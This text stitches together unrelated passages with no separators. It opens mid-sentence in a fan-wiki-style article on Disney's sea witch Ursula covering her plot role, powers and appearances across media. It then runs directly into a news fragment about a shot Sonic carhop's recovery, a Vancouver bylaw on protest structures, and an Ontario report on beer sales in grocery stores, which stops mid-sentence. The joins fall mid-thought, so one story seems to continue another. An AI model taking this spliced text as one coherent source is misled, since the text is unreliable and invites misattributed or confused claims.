kisses him; using Eric's fake love for her as a way to intimidate him. The scene inside the cabin is exactly the same as the film, but the wedding itself has noticeable differences. In the original, Vanessa was actually eager to marry Eric and was impatient about the wedding being done before sunset suggesting some ulterior motive aside from just taking Ariel. In the original script, she also gets to actually say "I do" unlike in the final product. Vanessa isn't able to kiss Eric again, though, as the ceremony is disrupted by an explosion off the side of the ship and Scuttle's small army shows up and begins to attack Vanessa. Vanessa fights back in the original version, much like in the film, but quickly stops when she realizes she is blowing her cover as a sweet innocent girl. She then begs Eric to protect her, which he does. Since Scuttle can't get close to Vanessa, he intends to reveal her true form to Eric by bringing up the mirror from her cabin. He crashes into a pole and the mirror breaks, but Eric is able to see Vanessa for what she is the reflection of the water the sea creatures brought on board the ship. This breaks the illusion and he rejects her for Ariel. At this point, Vanessa's voice returns to sounding like Ursula's, presumably because the spell has been broken, and Eric and Ariel are about to embrace. Much like in the final movie, the sun sets before they can kiss, and Vanessa turns back into Ursula, dragging Ariel back with her under the sea. In this ending, Ariel does not get her voice back until the very end, which changes the dynamic of the scene entirely. No explanation was ever offered as to why this half of the ending was changed. On a separate note, early storyboard concept art revealed that Vanessa and Eric would have originally been married at the castle instead of on a ship, with Ariel lurking above in observance. This change may have been made to add a sense of urgency for Ariel to stop the wedding by having it take place somewhere else. It also may have been done to create a better transition between the wedding scene and the final battle underwater. Vanessa's role in the film is inspired by the original Andersen tale. In that story, after the prince has been rescued by the mermaid, he is found on the beach by a princess whom he believes to have saved him. Later on, after the mermaid becomes human, she discovers that the prince will be marrying the maiden. In the end, the maiden marries the prince while the mermaid (who chose not to kill the prince despite the urging of her sisters) dies and ascends to a spiritual rebirth. The maiden, like the Sea Witch, was also a neutral character rather than a villain. In the book, the maiden does not speak and is presented as being sprightly and innocent. She is very much in love with the prince, though, snuggling up to him while not being possessive of him, as she did not object to his friendship with the mermaid. Vanessa's facade is based on imitating this behavior while snickering behind others' backs, eliminating the presence of anything innocent. Personality By nature, Ursula is very dark in tone, with a wicked sense of humor. After her banishment from Atlantica, the sea witch established herself as a physical beacon of hope towards unfortunate merpeople, allowing them to strike deals and business propositions that would supposedly result in their happiness, should they successfully fulfill their end of the bargain. During such deals, she speaks in a grandmotherly tone, as if her only concern is the satisfaction of her customers. This makes her schemes easier to fall for, though should she feel a deal is going nowhere, she resorts to pressuring her victims into accepting her offer, additionally portraying herself as their last attempt at making their dreams come true. However, if Ariel's deal is to be believed, Ursula sadistically ensures her customers fail at upholding their end of the deal, resulting in their souls being forever in her possessions and their bodies becoming permanent members of her living garden, as polyps. The motivation of such practices are never revealed for any individual other than Ariel, whom Ursula uses to obtain power over the seas, implying the sea witch simply enjoys causing havoc to the innocent, having no sense of true morality or remorse for those she torments. Apart from this, Ursula may also be cannibalistic, as she is seen eating some sort of tiny sea creature alive. She is also vengeful, holding a vendetta against King Triton for a prolonged period of time, spending her days spying on his relatives to eventually take advantage of them and concoct a scheme capable of ending in her favor — as ruler of the seas. This also ties into Ursula's power-hungry nature, which drives her motivation throughout the film, and is greatly expressed once she finally crowns herself queen during the climax. Despite her irredeemably negative traits, Ursula has a softer side to her personality, seen with her relationship between herself and her minions, Flotsam and Jetsam. Ursula lovingly refers to the duo as her "babies" and has been shown to treat them with affection, despite barking orders at the two from time to time when enraged. She is also extremely protective of them, even expressing her genuine remorse over killing them with the trident by accident before turning their rage towards Ariel for causing it in the first place. She is also classy, despite being flamboyant, and presents herself with confidence and an eye for high standards, as evidenced by her belief that lurking in doorways is rude. In addition, she regularly flaunts her curvaceous appearance in a sultry manner, and spends time in her vanity, admiring her own physical appearance. She has the power to alter her appearance, but simply chooses not to, showing contentment with who she is as a person, but distaste with her social status and lack of complete power over the ocean. Physical appearance Ursula is a plump light lavender-skinned, white-haired cecaelia and from the waist down has six black octopus-like tentacles with violet suckers. Although she has a light complexion, the area around Ursula's eyes are a darker shade than the rest of her skin, in addition to having gray eyes and a mole on the right side of her mouth. She is always seen wearing makeup, in particular she has aqua eye shadow, deep red lipstick, and red nails. She wears purple coral shell earrings and a gold nautilus shell necklace. Her alter-ego, Vanessa, is a fair-skinned human female with long wavy brown hair and pink lips. Unlike Ursula, Vanessa's eyes are violet instead of gray. She appears in a lavender dress with a purple corset. Powers and abilities Ursula's magical abilities, even without the Trident, were very potent. She was able to concoct various potions to create various spells, including mass-transfer (implied during the song "Poor Unfortunate Souls") as well as physically altering people's bodies, as evidenced by her transforming Ariel into a human, as well as her own transformation into Vanessa and Ursula (although in the case of Vanessa, she needed Ariel's voice to disguise her own). However, she was incapable of altering her reflection, which is eventually how her enemies got the drop on her. It is also implied that she was capable of generating storms and may have electrokinetic abilities even prior to gaining the trident, since storm clouds were generated the very second the sun set on the third day, and she utilized lightningbolts from the storm clouds to transform back into her original form. When it comes to physical powers, Ursula possesses Superhuman Strength, though not as strong as Triton, yet strong enough to throw a mermaid towards a rock, as what she did to Ariel in the alternate ending of the movie. She was also capable of creating poisonous ink clouds which could absorb the energy of the Trident and enhance Ursula's power. Her most dangerous ability, however, was her ability to turn people into polyps should they fail to fulfill their end of the bargain via contracts, having done so multiple times under unspecified circumstances, nearly did so with Ariel, and successfully did so with Triton. It's also implied that she absorbs their souls while transforming them into polyps, making herself more powerful in the process. Likewise, once the contract is made, it is indestructible even to someone as powerful as Triton. Presumably, this arcane power is one-way, as she does not end up becoming a polyp for failing to fulfill her end of the contract. In fact, the only way to completely stop a contract short of fulfilling it is via her death, as evidenced when the polyps turned back into merpeople by the aftermath of her death at the hands of Prince Eric. Appearances “Flotsam! Jetsam! I want you to keep an extra close watch on this pretty little daughter of his... She may be the key to Triton's undoing.” ―Ursula When Ursula first appears in the film, she states through monologue that she once lived in the royal palace of King Triton, the king of the underwater city of Atlantica. She was banished from Atlantica and made her home in the remains of a leviathan where she waits the chance to get her revenge on Triton and become Queen of Atlantica. She currently resides in a leviathan home lined with a garden of writhing polyps which were merfolk who had previously gone to Ursula for help, but found themselves unable to fulfill their side of the bargain, leading Ursula to claim them as her own and added them to her collection. Though she remains powerful, Ursula laments her distaste for her living conditions, and secretly watches over King Triton's youngest daughter, Ariel, believing her to be "the key to Triton's undoing". With time, Ursula's assumptions are proven correct, as Ariel one day meets and falls in love with a human prince, named Eric, against Triton's explicit rules. Ursula commands her minions, moray eels Flotsam and Jetsam, to lure Ariel to her lair, claiming that only she can help make the princess' dreams of living on the surface, beside her apparent true love, a reality. Little does Ariel realize that this is part of Ursula's scam to take the kingdom. Through the song "Poor Unfortunate Souls", Ursula proposes an agreement where she will transform Ariel into a human for three days, during which Ariel must receive the "kiss of true love" from Eric. If Ariel succeeds, her transformation into a human will be permanent, but if she fails, she will turn back into a mermaid and be bound to Ursula for eternity. The price for the transformation is Ariel's voice (which Ursula will keep no matter what happens). Ariel agrees and signs a contract that Ursula has conjured. As Ursula orders Ariel to sing, the sea witch summons magical hands to rip out Ariel's voice, which is then magically pulled into Ursula's Nautilus shell necklace. She then laughs gleefully as her plans begin to unfold: Ariel's tail is split into legs. During the time that Ariel is a human and must win a kiss from Eric in order to remain human permanently, Ursula takes every measure to prevent the kiss from occurring, such as when Flotsam and Jetsam tip over the boat in which Ariel and Eric are sitting on as the two are close to kissing. Fearing that Ariel and Eric may actually fall in love and share a kiss before the deadline, Ursula decides to take matters into her own tentacles. With intent to sabotage Ariel's relationship with Eric, Ursula takes the form of a beautiful human female with Ariel's voice. Under the alias "Vanessa", Ursula bewitches Eric to marry her. However, Ariel's seagull companion, Scuttle, discovers Ursula's villainy and quickly alerts Ariel and King Triton's court composer, Sebastian, who rushes off to alert the king. Before she can completely misdirect Eric into marrying her, Scuttle is able to stall the wedding for the time being and, in the chaos, destroy the Nautilus shell containing Ariel's voice, which breaks the enchantment and returning Ariel's voice back to its rightful owner. However, the sun sets before Ariel and Eric can kiss and Ariel changes back into a mermaid. Ursula, restored to her normal form, grabs Ariel and jumps back into the sea, where she is confronted by King Triton. Ursula reveals her true goal and forces Triton to choose between his freedom and his daughter's. Triton agrees to take Ariel's place, and once Triton is transformed into a polyp, Ursula takes his crown and trident. Furious with Ursula's trickery, Ariel attacks the sea witch, who immediately retaliates and threatens to destroy the former with the power of the trident. Before she can, Ursula is attacked with a harpoon by Prince Eric. Flotsam and Jetsam are sent to capture the Prince and successfully do so while dragging him down into the sea. Ursula readies a killing shot for Eric, but Ariel grabs hold of her hair, thus redirecting the blast towards Flotsam and Jetsam—killing them. Saddened and enraged by the death of her minions, Ursula seeks vengeance on Ariel and magically alters herself to a massive size. With her new form, Ursula declares herself as ruler of the entire ocean and creates a powerful storm. Eric takes control of a surfaced ship while Ursula's attention is on Ariel. As Ursula wickedly taunts the idea of "true love" and prepares to kill Ariel using the power of the trident, Eric impales the sea witch by plunging his ship's splintered bow through her abdomen. As Ursula screams in pain, the bow catches lightning, brutally electrocuting her body. Once Ursula loses her last ounce of life, she drops dead onto the ship and sinks into the sea as her dismembered body falls to the ocean floor. After Ursula's fate was sealed, all the merfolk that have had been under her power, including Triton, are released from their bonds and transform back into their original forms and with Ursula gone forever, Ariel was able to become human again, marry Eric and live happily ever after. Ursula appears as the main villain of the Little Mermaid prequel television series. The episodes she appears in are "Against the Tide", "Tail of Two Crabs", "Heroes" and "Ariel's Treasures". In all of these episodes, she executes various plans to antagonize King Triton and take over Atlantica. In "Against the Tide", Ursula has been experiencing failures in her most recent magic spells. She believes it to be the work of an odd sea creature that is said to cause bad luck whenever it's around. Ursula decides to destroy the creature, but Ariel rescues it, as she believes it to be harmless. Eventually, the creature's whereabouts have been located at Triton's palace, and Ursula invades the palace during King Triton's homecoming. She prepares to eliminate the beast by using the stolen magic of the trident, though Sebastian was clever enough to make a makeshift version of the creature, and trick Ursula into destroying it instead. With the beast supposedly gone, Ursula departs. In "Tail of Two Crabs", Ursula takes advantage of Sebastian's jealously towards his rival Zeus the Crab, by transforming into Sebastian's "Fairy God Crab". She offers him a wish if he can recover a rare artifact holding great power. Sebastian delivers, and Ursula is able to turn King Triton, Flounder, and Ariel into sea worms. Luckily, Zeus is able to subdue Ursula and revert her curse. In "Heroes", Apollo, a legendary hero who once saved Atlantica from Ursula and her army of octopi, returns to Atlantica, just when Ursula decides to revive her old army in an attempt to dominate Atlantica once more. Like the previous battle, however, Apollo prevails with the help of the fire-breathing Sea Dragon. It is also implied in this episode that the reason behind her exile was because she tried to create copies of the Trident, referred to as dark tridents, for the aforementioned army against Atlantica. Lastly in "Ariel's Treasures", Ursula enchants the human items in Ariel's grotto, in an attempt to wreak havoc on Atlantica. Ursula doesn't actually appear in this direct-to-video sequel, but she makes a cameo and is mentioned various times, mostly by her sister Morgana, also a Cecelia (who has eight tentacles instead of Ursula's six). Ursula, herself, can be seen in a picture within Morgana's lair. Interestingly, she serves as the driving force for Morgana's story arc, though not exactly in the sense of revenge. Rather, Morgana feels eliminating Triton and stealing the throne would prove her superiority over her sister, as the former spent most of her life in Ursula's shadow. At the end of the film, after Morgana is imprisoned frozen in an iceberg and forced to sink to the darkest depths of the sea, the framed picture of Ursula makes one last appearance, sinking alongside her. In the deleted, yet fully animated song "Gonna Get My Wish", a younger Ursula makes a brief appearance in the form of a flashback, alongside Morgana and their mother. The scene also gives a visual representation of Ursula's past and relationship with Morgana. In their youth, Ursula wears a purple bow tied to her hair. Despite her death in the film, Ursula made numerous cameos in the series House of Mouse, often seen alone or with Ariel. In "Ask Von Drake", she was seen popping out of Ariel's giant shell during Ludwig Von Drake's song. In "Pete's House of Villains", she replaced Daisy at her desk after Pete took over. In "Jiminy Cricket", Jiminy gives Ariel advice resulting into taking her voice back from Ursula. Her mode of transportation was seen as a wave vehicle. At the end of "Max's Embarrassing Date", Ursula is seen in an advertisement attempting to steal the voice of Max Goof's girlfriend Roxanne. In "Mickey and Minnie's Big Vacation", Ursula was one of the many guests to be annoyed when the Pink Elephants are briefly released. She was also part of the all-female guest list in the episode "Ladies' Night". In the episode "House of Crime", Goofy interrogates Vanessa, asking if she has seen any disguised villains. She silently shakes her head and then transforms back into Ursula when Goofy leaves her table. Ursula was also one of the lead villains in Mickey's House of Villains, and was seen in Mickey's Magical Christmas, telling Mickey that she wants his voice for Christmas. Cameos Ursula appears in the Hercules: Animated series episode, "Hercules and the Bacchanal" as she tries to sell perfume to Hercules and Hermes. Live-action appearances Two different, yet unrelated versions of Ursula appear in the ABC fantasy drama series. Sea Goddess This first Ursula is a mythical sea goddess who is considered a myth by merfolk as she hasn't been seen for a thousand years. This identity appears in the episode "Ariel", where in the episode, the eponymous Ariel prays to her for guidance so she can be able to continue her life as a human and forever be with Prince Eric. Using this opportunity, the Evil Queen appears as Ursula to Ariel and gives her a magic bracelet that gives the wearer Ariel's tail in exchange for their legs. Ariel, in an act of gratitude for Snow White's earlier help, gives the bracelet to Snow so that she can live her life free from the Queen while Ariel gets to be with Eric. However, Snow White tries to tell Ariel that Ursula isn't real. Much to Ariel's shock, Regina shows up and admits this was a way to get Snow using Ariel. She then gives Ariel an ultimatum: leave Snow with Regina and live happily with Prince Eric or perish along with Snow. Ariel appears to choose the first choice, but then stabs Regina with a fork and removes the bracelet from Snow, who then escapes with Ariel into the water. After delivering Snow safely onto land, Ariel returns to tell Eric how she feels, but when she attempts to speak, she discovers that her voice is missing. Regina, standing on the docks, reveals she had taken her voice so Ariel can never tell Prince Eric how she truly feels. Ariel becomes devastated, and Regina proceeds to tell Ariel to leave. When Regina returns to her castle, she looks into her mirror and discovers Ursula herself, proving that Ursula is indeed real. Ursula then grabs Regina with her tentacles through the mirror itself, threatening a fearful Regina to never pose as her again, or she will prove to Regina "just how real she is", before subsequently letting her go and disappearing. Although Ursula's physical appearance is largely based on the Disney version, her personality is closer to that of the original Hans Christian Andersen tale, being largely a neutral entity, although will get vengeful when someone poses as her. Sea Witch A second Ursula appeared as one of the main antagonists in the second half of the fourth season, played by actress Merrin Dungey while Tiffany Boone played the young Ursula. She made her season four début in the episode "Heroes and Villains". She was originally a mermaid princess and the daughter of King Poseidon, named after the original sea goddess. Her back-story is similar to Ariel (from the movie), because she had a beautiful singing voice and lost her mother who had been killed by a pirate. Her father developed a xenophobic grudge against humans and use the voice talent of Ursula to lure sailors to their doom. However, she refused to attack the Jolly Roger, saving Captain Hook and his crew. In grudge with her father, she steals a magic bracelet from his vault, allowing her to become human. She becomes a pub singer and befriend Hook. However, Hook had concluded a pact with Poseidon to trap her singing voice within an enchanted shell in exchange for squid ink, to neutralize his nemesis Rumplestiltskin. Instead, Ursula herself steals the ink from the vault for him just as her father arrives to take the procured item away. Angered that the ink has been crushed, Hook removes her voice so the King can never use her to sink another ship again. Betrayed and developing a great hate against the human and her father, Ursula decided she no longer wanted to be a mermaid and used her father's trident to transform her fish tail into tentacles, becoming the Sea Witch. Later, Ursula is invited to the Forbidden Fortress by Rumplestiltskin, where she meets Cruella De Vil and Maleficent. Rumple used the three villainesses to get the Dark Curse, but the witches in turn had to face the Chernabog. Later, she become good friends with the two witches and the three became associates. They work together to steal a magical gauntlet from Rumplestiltskin, capable of revealing the weaknesses of their enemies. Once they learn this crucial information, they'll be able to come out on top, having had enough of constantly facing defeat. To do so, the villains kidnapped Rumple's servant, Belle and held her for ransom. Once Rumple arrived at the transaction point, Belle was covered in Ursula's tentacles to prevent her from escaping. Her grasp increased with time due to Rumple's hesitation, but once the Dark One handed over the gauntlet, Belle was released. Later, she, Cruella and Maleficent ask for help from Snow White and Prince Charming in stopping the Evil Queen. But once their plan fails, Ursula asks if she can choke the duo with her tentacles, claiming that they are bored. She and Cruella remained Maleficent's primary associates (and somewhat henchmen) and guarded the cave in which Maleficent rested with her unborn child. After the baby is stolen by the heroes they previously worked with, Ursula and Cruella chase them down, where they end up being transported to the Land Without Magic, using the magic from dragon egg containing the baby to stay young. Many years later after the Dark Curse, Ursula was seen in the Land Without Magic working as an aquarium worker in New York feeding the fish there. Mr. Gold finds her (after being forced out of Storybrooke by Belle) and offers her a chance to get even with the heroes and find the Author. They then head out to find Cruella De Vil and Maleficent. Ursula and Mr. Gold find Cruella De Vil in Long Island. Upon using Mr. Gold's cellphone, Ursula and Cruella make a deal with Regina to let them into Storybrooke in exchange for info on how to defeat the Chernabog. After the Chernabog disappeared upon being thrown over the town line, Ursula and Cruella were invited into Storybrooke. Later that night, Ursula and Cruella get Mr. Gold back into Storybrooke and work to bring Maleficent back from the dead. But soon her intentions drift when she sees Hook in the forest so Ursula heads out to confront him, where he agrees to give back her singing voice so she can tell him about Mr. Gold's plans. Since the shell that trapped her voice is in the Enchanted Forest aboard the Jolly Roger, she uses a piece of the ship's rigging to open a portal and cross realms to bring the vehicle to Storybrooke's harbor. She succeeds, however, the ship arrives shrunken and encased in a bottle. From Will, it is restored to normal size with a magic essence. Below ship deck, Hook gives Ursula the shell containing her singing voice, but she is unable to reabsorb it. Disappointed, she considers her happy ending is still impossible without the Author's help, causing her to void her deal with Hook, who pulls a gun on her. She easily knocks him out and throws him into the water before returning to the cabin. There, she assaults Mary Margaret, who arrived with Emma and David to rescue August. As Ursula refuses to relent, Hook returns with her father, Poseidon, who can restore her voice since he originally enchanted the shell. Poseidon apologizes to Ursula for using her singing voice as a weapon and he expresses regret over not cherishing her gift to honor her mother's memory. After regaining her voice, Ursula fully reconciles with her father and decides to go home with him. Before leaving, she tells Hook about Mr. Gold's scheme to dethrone Emma as savior and make her evil. As Ursula explains, Emma gave everyone their happy endings in this world, and once she is not the savior anymore, only then the Author can give the villains what they want. Ursula appears in the sequel only making a cameo, voiced by Whoopi Goldberg. She unleashes one of her tentacles on the pirate gang and orders them and Uma to be quiet and tells them that the dishes are not gonna wash themselves. She often likes to stay home and watch soap operas. Printed material In the first two issues of the official "The Little Mermaid" comic, Ursula appears briefly to negotiate with a race of eel-men for the carcass of a Leviathan which she would convert into the home seen in the 1989 film. She also briefly appears in a segment of the fourth issue, where she tries to create a new hairstyle to entertain her due to banishment from Atlantica making her lonely on her birthday, but it backfired on her. She doesn't appear in the Marvel Comics serial for The Little Mermaid, although a character similar to her appears known as Pirhaia in the penultimate issue. Ursula frequently appears in Ariel's comics in the Disney Princess magazines, often in a villainous role. In the Disney Press book The Villain Files, it is implied that Ursula is Ariel's aunt, a concept that is based on the abandoned story concept of the 1989 film. She also appears in the manga series of Kingdom Hearts and Kilala Princess. In The Little Mermaid version of My Side of the Story, Ursula claimed she was a protagonist, and revealed to have been romantically infatuated with King Triton, supposedly. Ursula is first mentioned in the saga in the third book when a cast member says Tigger was spying on her. In the fifth book, she appears at Typhoon Lagoon when King Triton is talking with Finn. She has the power of the water and even creates a whirlpool where Finn almost drowns. She also appears on the cover of Kingdom Keepers V: Shell Game. In the seventh book, it is revealed that she has been disguised as Storey Ming ever since the Keepers went on their Disney Cruise through the Panama Canal. Ursula is mentioned in the second novel The Beast Within: A Tale of Beauty's Prince by author Serena Valentino. In the novel, it is mentioned that Ursula lives in a kingdom adjacent to that of Belle and the Prince, and when the Prince dumps his fiancée prior to Belle, she attempts to drown herself. Ursula then rescues her and trades her her life for her beauty. The Enchantress then goes to Ursula to convince her to give up her deal in exchange for something else. In the end, she convinces her. Ursula is one of the villains brought back to life to be imprisoned in the Isle of the Lost. She owns a store called Ursula's Fish and Chips and she always chases out Ratigan and his crew every time they go there. Ursula is at the center of the third Disney novel by Serena Valentino in a series that explores the untold backstories of famous Disney villains. It was released on July 26, 2016. Ursula was the adopted daughter of a human fisherman and she grew up unaware of her powers or that she was King Triton's long-lost sister. After her powers were exposed the people in her village turned on her and attempted to burn her, her father tried to stop them but was killed in the process. From that moment on, Ursula was driven by the hatred of the people in the village and grief for the loss of her father. After attempting to destroy the village, King Triton reveals himself to be her brother and takes her home to his kingdom. But Ursula is not allowed to be around her brother's subjects in her octopus form, because he thinks she is ugly and a true monster. The only person who treats Ursula with kindness is Triton's wife Queen Athena, and she has heated discussions with her husband on Ursula's behalf. But after Athena's death, Ursula is banished to the Unprotected Waters by Triton. She tells her story to The Odd Sisters and they agree to help her kill Triton and in return she will them find their younger sister Circe. Unfortunately little do the sisters know, Circe is in Ursula's Garden of Lost Souls. It is revealed that Ursula has a heated rivalry with Maleficent, the Dark Fairy. A Twisted Tale: Part of Your World In A Twisted Tale: Part of Your World, Ariel was never able to regain her voice, and was forced to leave Ursula with the transformed Triton while she returned to Atlantica with the trident. Now apparently permanently in the form of Vanessa, Ursula used her new position to work on expanding the influence of Eric's kingdom through subtle military campaigns and other strategies, while also carrying out research to grant herself magic powers on land (her existing influence only possible due to a spell she cast while still in the ocean tied to Ariel's voice). When Ariel returns to the surface a few years later after one of Scuttle's relatives reveals that Triton is still alive, she is able to reclaim her voice and begin a campaign against Ursula. Although Ursula appears to be able to anticipate and thwart Ariel and Eric's attempts to undermine her as she prepares a ritual to sacrifice Triton and gain new power, Ariel is eventually able to stop her by provoking Ursula to turn back into her true self in full view of the people of Eric's kingdom by dowsing her with water from a fountain linked to the sea, Ariel then using the same fountain to give herself the power to kill Ursula with the trident. Video games Ursula is the final boss of all the Little Mermaid video games which were contemporary with the film's original release, from the versions on the Nintendo Entertainment System and Sega Genesis to the Tiger LCD handheld version. In addition, she has appeared in several multi-franchise Disney video games. Ursula is a recurring villain in four installments of the Kingdom Hearts series. Originally, she was a member of the legion of Disney villains led by Maleficent who sought to dominate the worlds via the power of darkness and control over fearsome creatures known as the Heartless. In Kingdom Hearts, Ursula is able to manipulate Ariel into handing over the trident, wanting to use it to take control of the ocean. However, due to the efforts of the game's protagonists Sora, Donald, and Goofy, Ursula is defeated and vanishes into the darkness, alongside other villains who were slain by Sora and co. In Chain of Memories, Ursula makes an appearance in Kingdom Hearts: Chain of Memories as a figment of Sora's memories, using Flounder to force Ariel into giving her the trident, claiming she'll have the guppy killed if she refuses. Ursula returns yet again in Kingdom Hearts II, where she returns from the darkness and offers Ariel her dream to live up on the surface in exchange for her voice. The plot that follows mirrors the original film, and upon Ursula acquisition of the trident, she becomes a monstrous giant and tries to eliminate Ariel, as well as Sora and friends. However, with their new ally, Prince Eric, Ursula is defeated and sealed yet again. An apparition of Ursula appears in Dream Drop Distance as the first boss in the game. She is, suddenly attacking Sora and Riku with her tentacles and magic as the heroes were on their way to the Mark of Mastery exam. When Ursula is defeated and sealed, but she used her whirlpool to drag Sora and Riku underwater and towards the Keyhole to Destiny Islands and the entrance to the Sleeping Worlds, beginning their new journey. How Ursula came of being is unknown, though her motives were to simply have revenge on Sora. Along with other toons, Ursula had her essence drained by Mizrabel and into a wasteland. Unlike the other villains, she had no affiliation to Mizrabel whatsoever. When Mickey found her and explained it was Mizrabel's fault for this second "banishment", Ursula demanded to know where the witch was to prove there was only room for 1 witch: herself. As Mickey didn't know, she was directed to the fortress to scheme against Mizrabel. She asks for a cauldron in exchange for not harming any of the other toons Mickey saved; she keeps her end of the bargain. Ursula plays a small role in the game, being featured as a boss alongside Flotsam and Jetsam during The Little Mermaid stage. A stage musical version of the 1989 film debuted in Denver for a pre-Broadway tryout, and in January 2008 opened on Broadway. Actress Sherie Rene Scott originated the live role. The role was later played by Heidi Blickenstaff and Faith Prince. The show closed on Broadway Aug.30, 2009. In this version, Ursula is King Triton's sister. As revealed in the lyrics of Ursula's song "I Want the Good Times Back", (later replaced with "Daddy's Little Angel") when their father died, the pair were given equal share of the sea plus two magical items. Triton received the trident while Ursula received the magic Nautilus shell. Though the two were to rule the seas together, Ursula's greed and use of dark magic to usurp Triton led to her being banished. Her need for revenge is her motivation for the show. Unlike the 1989 film, Ursula is depicted as being large but not obese, and the entire subplot where Ursula transforms into a human has been removed entirely. In the show's finale, Ursula is defeated by Ariel, not Eric, when the mermaid destroys Ursula's magical shell since the climax in which Ursula becomes a gargantuan monster and then impaled by the bow of a ship is too expensive and impractical for a staged show. Ursula sings new songs in addition to the film's "Poor Unfortunate Souls". These songs are "I Want the Good Times Back", in which Ursula reminisces over her luxurious past, "Her Voice", in which Ursula anticipates the sunset of the third day and a reprise of "Poor Unfortunate Souls" in which Ursula 'negotiates' an agreement with Triton for Ariel's soul. Ursula also sings briefly at the end of a new sequence called "The Contest", in which Ariel's voice can be heard as the sun sets, but is then merged with Ursula's own voice. When the show was heavily revamped for the national tour, Ursula's song "I Want the Good Times Back", was deleted in favor of a new song "Daddy's Little Angel", which gives her a new backstory. In this new history, Ursula was the youngest of seven sisters, who born as a Cecelia and not a mermaid disgusted her father Poseidon. Out of jealousy she murders her six older sisters, and becomes Queen, only for Triton, who in this new book is the younger brother, comes of age and deposes and exiles her. An earlier demo workshop contained different songs written for Ursula that was eventually removed from the production. Ursula's introductory song is "Wasting Away", though it was later replaced by "I Want the Good Times Back". A different reprise of "Poor Unfortunate Souls" was written for Ursula just before she transforms into Vanessa, but since the Vanessa subplot was removed, so was the reprise. Another song, "All Good Things Must End" features Ursula gloating on her victory over Ariel, but the song was removed entirely. Emily Skinner performed as Ursula in this workshop. The Fantasmic! show debuted in 1992 in the California park, only a few years after The Little Mermaid debuted. Ursula appears in the finale, summoning the powers of the sea to destroy Mickey Mouse, though she herself is ultimately beaten. Originally, a twenty foot Audio-Animatronic Ursula float traveled around her segment in the show on the water, but the air constantly leaked from the blow-up tentacles, and the animatronic as a whole was a maintenance nightmare, so currently the character is only featured via animation projected onto water screens. In the 2015 rendition of World of Color, Ursula was featured during the brief montage celebrating villains. In 2017, Ursula appeared as a special walkaround character in Disneyland's Frightfully Fun Parade. In Voyage of the Little Mermaid, Ursula appears as an audio-animatronic living the same role as the film.
changed forever. "I wanted to introduce you to my doctor," she told a group of people. The doctor helping the 20-year-old Sonic carhop recover surprised her at a fundraiser. "It's hard to keep a good woman down," the doctor told Stanage. Around 100 people showed up at the Chenal Parkway Sonic to show support for Stanage. "I can finally put faces to the prayers and I'm so grateful for each and every one of them," says Stanage. It was her first time back at Sonic since the July 13th shooting. A bullet hole still marks the wall where Stanage says she thought she would die. "This is where it all happened. Three weeks and three days ago I thought it was going to be the end. I was literally facing death," says Stanage. Her mother Danah Beard says her family is blessed by the support from Central Arkansans. "I am forever grateful to the people of this community to come out and support her and show her that she's loved and pray for her," says Beard. While Stanage is on her road to recovery, she says she's waking up everyday thankful to be alive. "Enjoying life. Simply that. Waking up every morning and thanking God that I'm here," says Stanage. Despite a $26,000 reward for the arrest and conviction of the shooter, there have been no arrests in the case. The suspects have been described by police as three black men in a 2005 tan Cadillac DeVille with a ragtop, a chrome front grill and paper tags. Anyone with information about the suspects is urged to call the Little Rock Police Department at (501) 371-INFO (4636).The City of Vancouver is considering a proposal to charge protesters $1,200 to set up tables and banners, according to critics, who call the bylaw bizarre and anti-democratic. The bylaw would prohibit any structures or objects from being set up on the sidewalks of residential areas. In commercial areas protesters would have to pay a $1,000 deposit and a $200 application fee to put up any structures. In addition a drawing of any structure would have to be submitted to the city for approval. Any permitted structure would not be allowed on the street overnight and would also be restricted to one metre in depth and and 2.1 metres in height. The bylaw is part of the city's ongoing efforts to limit the Falun Gong protest on Granville Street, but B.C. Civil Liberties Association director David Eby says it has much broader implications. "If you want to set up a table with your flyers on it, this bylaw implicates that. You need to pay a $200 deposit. You need to have a traffic plan. You need to get a permit," said Eby. "If you want to set up a large structure that has a sign on it, like a large banner, you're going to have to get a permit from the city. This is so over-reaching. It's completely bizarre," he said. City councillor Susan Anton says she is opposed to the motion because of its anti-democratic nature, and critized Mayor Gregor Robertson for introducing the proposal on short notice. "An extremely controversial report is being slipped in at the last minute without allowing for any meaningful public discussion," said Coun. Anton in a statement released on Wednesday night. "This has become a regular pattern with the Mayor and his caucus colleagues. Freedom of expression is fundamental to democracy. Any possible restriction on that freedom must be well-understood and properly debated. Two days notice is not enough," she said. Falun Gong protesters first set up a wooden hut in front of the Consulate in 2001. But in 2009, the city made them take it down, saying it violated by-laws. The protesters say the group's members in China are being oppressed by the Chinese government.Ontario Premier Kathleen Wynne announced the start of beer sales at grocery stores, starting with 58 as of today. Wynne, speaking at a news conference at a Toronto Loblaws on Tuesday, said its the biggest shakeup to alcohol sales since the end of prohibition. For beer drinkers, Wynne said, it's also the "holiday present" that many have been waiting for. Loblaws is among the 13 retailers chosen in mid-November to sell beer. The province hopes 100 more grocery stores will begin carrying beer in 2016, and eventually hopes to see suds sold at some 450 grocery stores. The beer — a mix of major beer brands and Ontario craft beer — are being sold in six-packs for the same price as you would pay in Liquor Control Board of Ontario (LCBO) stores. All the beer must be lower than 7.1 per cent alcohol by volume. The beer display sits between the soda and snack aisle at this Toronto Loblaws. (David Donnelly/CBC) On the shelves behind Wynne were Ontario craft beers including Beau's, Amsterdam and Flying Monkeys, while major brands include Canadian, Heineken and Corona. The province mandates that at least 20 per cent of grocery store space is devoted to Ontario craft beer. But Loblaws has committed to 50 per cent, with a company official saying the store hopes to become "a destination for beer enthusiasts" in the future. Eventually, the representative said, the company hopes to stock some 200 varieties of beer, including regional favourites. John Hay, president of the Ontario Craft Brewers association, said that could mean up to 100 craft brands on grocery store shelves in the future, and called this a "truly a great day for craft beer in Ontario." Hay thanked the premier directly at the announcement. "You personally championed this change," he said. Changes brewing "Cheers," said Finance Minister Charles Sousa, who also spoke at the announcement Tuesday. Sousa said he realizes some felt it was a "long time coming," but added this is just the latest major change to the Ontario beer industry since April. The province has already made changes to The Beer Store and launched several pilot projects, including the sale of 12-packs or fresh beer at select LCBO stores. It's also set to hire a beer ombudsman in the new year who will field concerns from the beer-drinking public and industry members. These changes have all served to benefit consumers, Sousa said. Wine next? The Beer Store has had a virtual monopoly on beer sales in the province since prohibition. In its initial rollout of 60 grocery stores, 25 stores in the Greater Toronto Area will be licensed to sell beer, in addition to 16 in southwestern Ontario, 13 in the east and six in the north. The province said approval of two of those stores is pending. The laws governing beer sales differ across the country. For example: In Quebec, beer is available in grocery stores.l In Newfoundland and Labrador, you can buy beer in convenience stores, but not in grocery stores. Alberta's sales of alcohol are fully privatized. In B.C., a 